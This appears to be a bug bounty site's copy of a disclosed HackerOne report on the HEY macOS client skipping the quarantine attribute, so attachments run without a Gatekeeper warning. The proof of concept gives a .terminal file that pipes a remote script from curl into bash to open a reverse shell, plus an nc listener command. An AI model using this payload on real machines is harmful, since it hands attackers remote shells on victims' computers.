Skip to content
RCE Disclosed report Intermediate

Lack of quarantine macOS attribute(com.apple.quarantine) leads multiple issues including RCE

The HEY macOS client failed to apply the com.apple.quarantine attribute to executable files received through its inbox, so Gatekeeper did not warn the user before running them. An attacker could send a malicious executable that, once opened by the victim, ran code on their machine.

hensis Follow

Originally disclosed on HackerOne

Bounty$250 Medium View original
  • Triaged in 40 hours
  • Fixed in 6 months
  • Paid in 40 hours
  • Disclosed after 6 months

Hi, basecamp team.

HEY macOS client does not properly validate file uploads on its macOS inbox. That is because, by not setting the com.apple.quarantine attribute in the metadata of an executable file when it is uploaded, you allow the file to be executed on macOS without being checked by Gatekeeper.

Basically, the bug here is that when sending an executable as a message, when opening it, the "file cannot be opened because it is from an unidentified developer" doesn't pop-up, the executable just gets executed

As a PoC(i prepared a video) I used a .terminal file, containing a backdoor payload.

Steps-to Reproduce

  1. Create a .terminal file with the following code:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>CommandString</key>
	<string>curl -Ls https://git.io/vXd2N | bash -s localhost 80 > exploit.sh;</string>
	<key>ProfileCurrentVersion</key>
	<real>2.0600000000000001</real>
	<key>RunCommandAsShell</key>
	<false/>
	<key>name</key>
	<string>exploit</string>
	<key>type</key>
	<string>Window Settings</string>
</dict>
</plist>
  1. Send a mail with that file as an attachment
  2. open another terminal window and execute: nc -nvl 80
  3. As a victim download and open .terminal file, this will gain you a shell from the terminal window were you executed nc -nvl 80. As you can see, there is no alert for running Executable

PoC video

RCEHey.mp4 From the original on HackerOne

For Further Info

for further info check the following reports from the person who found this vulnerability:

Impact

An attacker can execute code on the victim's computer via the HEY macOS app.

The original report as published on HackerOne, by hensis. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the macOS client wrote received attachments to disk without applying the com.apple.quarantine extended attribute, bypassing Gatekeeper checks.

Impact

An attacker could execute code on the victim's computer through the HEY macOS app, with no Gatekeeper warning shown.

What the attacker needed

HEY macOS client; victim opens the received file

How it was found

  1. Create a .terminal file containing a command payload.
  2. Send an email with that file attached.
  3. Start a listener on the attacker machine.
  4. Have the victim download and open the .terminal file, which runs the payload and gives a shell.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

macOS marks files downloaded from the internet with a hidden flag called the quarantine attribute. When that flag is present, Gatekeeper checks the file and warns you if it is from an unknown developer. Here the app saved received files without that flag, so a dangerous file could run with no warning at all.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by hensis

View all

1 more disclosed report, best first.

More from Basecamp

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.